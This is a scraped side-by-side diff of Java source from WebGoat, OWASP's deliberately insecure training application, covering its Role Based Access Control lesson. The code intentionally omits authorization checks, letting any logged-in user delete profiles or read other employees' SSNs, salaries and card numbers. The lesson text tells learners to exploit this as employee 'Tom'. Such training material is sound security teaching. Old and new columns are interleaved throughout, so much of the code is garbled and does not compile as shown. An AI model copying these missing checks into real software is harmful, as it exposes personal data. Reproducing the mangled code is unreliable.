RoleBasedAccessControl.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else
throw new UnauthenticatedException();
}
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public String getNextPage(WebSession s) UnauthorizedException
{
return RoleBasedAccessControl.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; getLesson().setCurrentAction(s, getActionName());
try if (isAuthenticated(s))
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getUserId(s);
profile = new Employee(answer_results.getInt("userid"), int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
answer_results.getString("first_name"),
answer_results.getString("last_name"), Employee employee = getEmployeeProfile(s, userId, employeeId);
answer_results.getString("ssn"), answer_results setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
.getString("title"), answer_results }
.getString("phone"), answer_results else
.getString("address1"), answer_results throw new UnauthenticatedException();
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; public String getNextPage(WebSession s)
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; return RoleBasedAccessControl.EDITPROFILE_ACTION;
}
try public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
PreparedStatement answer_statement = WebSession Employee profile = null;
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, // Query the database for the profile data of the given employee
ResultSet.CONCUR_READ_ONLY); try
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{ {
// Note: Do NOT get the password field. String query = "SELECT * FROM employee WHERE userid = ?";
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"), try
answer_results.getString("last_name"), {
answer_results.getString("ssn"), answer_results PreparedStatement answer_statement = WebSession.getConnection(s)
.getString("title"), answer_results .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
.getString("phone"), answer_results answer_statement.setInt(1, subjectUserId);
.getString("address1"), answer_results ResultSet answer_results = answer_statement.executeQuery();
.getString("address2"), answer_results if (answer_results.next())
.getInt("manager"), answer_results {
.getString("start_date"), answer_results // Note: Do NOT get the password field.
.getInt("salary"), answer_results profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
.getString("ccn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getInt("ccn_limit"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("disciplined_date"), .getString("address1"), answer_results.getString("address2"), answer_results
answer_results.getString("disciplined_notes"), .getInt("manager"), answer_results.getString("start_date"), answer_results
answer_results.getString("personal_description")); .getInt("salary"), answer_results.getString("ccn"), answer_results
/* System.out.println("Retrieved employee from db: " + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
profile.getFirstName() + " " + profile.getLastName() + .getString("disciplined_notes"), answer_results.getString("personal_description"));
" (" + profile.getId() + ")"); /*
*/} * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
} * profile.getLastName() + " (" + profile.getId() + ")");
catch (SQLException sqle) */}
{ } catch (SQLException sqle)
s.setMessage("Error getting employee profile"); {
sqle.printStackTrace(); s.setMessage("Error getting employee profile");
} sqle.printStackTrace();
} }
catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
}
return profile;
} }
return profile; public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
} {
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
@ -19,388 +19,239 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class RoleBasedAccessControl extends GoatHillsFinancial public class RoleBasedAccessControl extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
public final static String STAGE1 = "Bypass Business Layer Access Control"; public final static String STAGE1 = "Bypass Business Layer Access Control";
public final static String STAGE2 = "Add Business Layer Access Control"; public final static String STAGE2 = "Add Business Layer Access Control";
public final static String STAGE3 = "Bypass Data Layer Access Control"; public final static String STAGE3 = "Bypass Data Layer Access Control";
public final static String STAGE4 = "Add Data Layer Access Control"; public final static String STAGE4 = "Add Data Layer Access Control";
protected void registerActions(String className) { protected void registerActions(String className)
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); {
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CommandInjection object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Many sites attempt to restrict access to resources by role.");
hints
.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources.");
// Stage 1
hints
.add("How does the application know that the user selected the delete function?");
// Stage 2
// Stage 3
hints
.add("How does the application know that the user selected any particular employee to view?");
// Stage 4
hints
.add("Note that the contents of the staff listing change depending on who is logged in.");
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4};
return new String[] {STAGE1, STAGE3};
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the category attribute of the CommandInjection object
* *
* @return The instructions value * @return The category value
*/ */
public String getInstructions(WebSession s) public Category getDefaultCategory()
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); return Category.ACCESS_CONTROL;
if (STAGE1.equals(stage)) }
{
instructions = "Stage 1: Bypass Presentational Layer Access Control.<br>" /**
+ "As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. " * Gets the hints attribute of the DirectoryScreen object
+ "Verify that Tom's profile can be deleted."; *
} * @return The hints value
else if (STAGE2.equals(stage)) */
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources.");
// Stage 1
hints.add("How does the application know that the user selected the delete function?");
// Stage 2
// Stage 3
hints.add("How does the application know that the user selected any particular employee to view?");
// Stage 4
hints.add("Note that the contents of the staff listing change depending on who is logged in.");
return hints;
}
@Override
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 };
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
instructions = "Stage 2: Add Business Layer Access Control.<br>" String stage = getStage(s);
+ "Implement a fix to deny unauthorized access to the Delete function. " if (STAGE1.equals(stage))
+ "Repeat stage 1. Verify that access to Delete is properly denied.";
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Breaking Data Layer Access Control.<br>"
+ "As regular employee 'Tom', exploit weak access control to View another employee's profile. Verify the access.";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Add Data Layer Access Control.<br>"
+ "Implement a fix to deny unauthorized access to this data. "
+ "Repeat stage 3. Verify that access to other employee's profiles is properly denied.";
}
}
return instructions;
}
public void handleRequest(WebSession s)
{
// Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
//System.out.println("Requested lesson action: " + requestedActionName);
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
action.handleRequest(s);
}
else
{
if (action.isAuthenticated(s))
{
action.handleRequest(s);
}
else
throw new UnauthenticatedException();
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
// Update lesson status if necessary.
String stage = getStage(s);
if (STAGE2.equals(stage))
{
try
{ {
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) && instructions = "Stage 1: Bypass Presentational Layer Access Control.<br>"
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION)) + "As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. "
{ + "Verify that Tom's profile can be deleted.";
setStageComplete(s, STAGE2);
} }
} catch (ParameterNotFoundException pnfe) else if (STAGE2.equals(stage))
{ {
pnfe.printStackTrace(); instructions = "Stage 2: Add Business Layer Access Control.<br>"
+ "Implement a fix to deny unauthorized access to the Delete function. "
+ "Repeat stage 1. Verify that access to Delete is properly denied.";
} }
} else if (STAGE3.equals(stage))
//System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{ {
//System.out.println("Checking for stage 4 completion"); instructions = "Stage 3: Breaking Data Layer Access Control.<br>"
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); + "As regular employee 'Tom', exploit weak access control to View another employee's profile. Verify the access.";
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "."
+ RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, STAGE4);
} }
} catch (Exception e) else if (STAGE4.equals(stage))
{ {
// swallow this - shouldn't happen inthe normal course instructions = "Stage 4: Add Data Layer Access Control.<br>"
// e.printStackTrace(); + "Implement a fix to deny unauthorized access to this data. "
+ "Repeat stage 3. Verify that access to other employee's profiles is properly denied.";
} }
} }
System.out.println("Authorization failure"); return instructions;
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} }
// All this does for this lesson is ensure that a non-null content exists. public void handleRequest(WebSession s)
setContent(new ElementContainer());
}
public void handleRequest_BACKUP(WebSession s)
{
// Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{ {
requestedActionName = s.getParser().getStringParameter("action"); // Here is where dispatching to the various action handlers happens.
} // It would be a good place verify authorization to use an action.
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
//System.out.println("Requested lesson action: " + requestedActionName);
if (requestedActionName != null) // System.out.println("RoleBasedAccessControl.handleRequest()");
{ if (s.getLessonSession(this) == null) s.openLessonSession(this);
try
{ String requestedActionName = null;
LessonAction action = getAction(requestedActionName); try
if (action != null)
{ {
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName()); requestedActionName = s.getParser().getStringParameter("action");
if (!action.requiresAuthentication()) } catch (ParameterNotFoundException pnfe)
{ {
// Access to Login does not require authentication. // Let them eat login page.
action.handleRequest(s); requestedActionName = LOGIN_ACTION;
} }
else // System.out.println("Requested lesson action: " + requestedActionName);
{
if (action.isAuthenticated(s)) try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{ {
int userId = action.getUserId(s); // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
if (action.isAuthorized(s, userId, action // action.getActionName());
.getActionName())) if (!action.requiresAuthentication())
{ {
action.handleRequest(s); // Access to Login does not require authentication.
} action.handleRequest(s);
else }
{ else
throw new UnauthorizedException(); {
} if (action.isAuthenticated(s))
{
action.handleRequest(s);
}
else
throw new UnauthenticatedException();
}
} }
else else
throw new UnauthenticatedException(); setCurrentAction(s, ERROR_ACTION);
} } catch (ParameterNotFoundException pnfe)
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{ {
String stage = getStage(s); System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
// Update lesson status if necessary. // Update lesson status if necessary.
String stage = getStage(s);
if (STAGE2.equals(stage)) if (STAGE2.equals(stage))
{ {
try try
{ {
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) && if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION)) && !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, STAGE2); setStageComplete(s, STAGE2);
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
pnfe.printStackTrace(); pnfe.printStackTrace();
} }
} }
//System.out.println("isAuthorized() exit stage: " + getStage(s)); // System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary. // Update lesson status if necessary.
if (STAGE4.equals(stage)) if (STAGE4.equals(stage))
{ {
try try
{ {
//System.out.println("Checking for stage 4 completion"); // System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "." int userId = Integer.parseInt((String) s.getRequest().getSession()
+ RoleBasedAccessControl.USER_ID)); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId)) if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
} }
} catch (Exception e) } catch (Exception e)
{ {
// swallow this - shouldn't happen inthe normal course // swallow this - shouldn't happen inthe normal course
@ -408,37 +259,160 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
} }
s.setMessage("You are not authorized to perform this function"); System.out.println("Authorization failure");
System.out.println("Authorization failure"); setCurrentAction(s, ERROR_ACTION);
setCurrentAction(s, ERROR_ACTION); ue2.printStackTrace();
ue2.printStackTrace(); } catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} }
catch (Exception e)
{ // All this does for this lesson is ensure that a non-null content exists.
// All other errors send the user to the generic error page setContent(new ElementContainer());
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
} }
// All this does for this lesson is ensure that a non-null content exists. public void handleRequest_BACKUP(WebSession s)
setContent(new ElementContainer()); {
} // Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
protected Integer getDefaultRanking() // System.out.println("RoleBasedAccessControl.handleRequest()");
{ if (s.getLessonSession(this) == null) s.openLessonSession(this);
return DEFAULT_RANKING;
}
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
// System.out.println("Requested lesson action: " + requestedActionName);
/** if (requestedActionName != null)
* Gets the title attribute of the DirectoryScreen object {
* try
* @return The title value {
*/ LessonAction action = getAction(requestedActionName);
public String getTitle() if (action != null)
{ {
return "LAB: Role Based Access Control"; // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: "
} // +
// action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
action.handleRequest(s);
}
else
{
if (action.isAuthenticated(s))
{
int userId = action.getUserId(s);
if (action.isAuthorized(s, userId, action.getActionName()))
{
action.handleRequest(s);
}
else
{
throw new UnauthorizedException();
}
}
else
throw new UnauthenticatedException();
}
}
else
setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
String stage = getStage(s);
// Update lesson status if necessary.
if (STAGE2.equals(stage))
{
try
{
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
&& !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
} catch (ParameterNotFoundException pnfe)
{
pnfe.printStackTrace();
}
}
// System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{
// System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, STAGE4);
}
} catch (Exception e)
{
// swallow this - shouldn't happen inthe normal course
// e.printStackTrace();
}
}
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: Role Based Access Control";
}
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -15,286 +15,251 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ RoleBasedAccessControl.USER_ID); this.chainedAction = chainedAction;
int subjectId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(
RoleBasedAccessControl.FIRST_NAME);
String lastName = s.getParser().getStringParameter(
RoleBasedAccessControl.LAST_NAME);
String ssn = s.getParser().getStringParameter(
RoleBasedAccessControl.SSN);
String title = s.getParser().getStringParameter(
RoleBasedAccessControl.TITLE);
String phone = s.getParser().getStringParameter(
RoleBasedAccessControl.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(
RoleBasedAccessControl.ADDRESS1);
String address2 = s.getParser().getStringParameter(
RoleBasedAccessControl.ADDRESS2);
int manager = s.getParser().getIntParameter(
RoleBasedAccessControl.MANAGER);
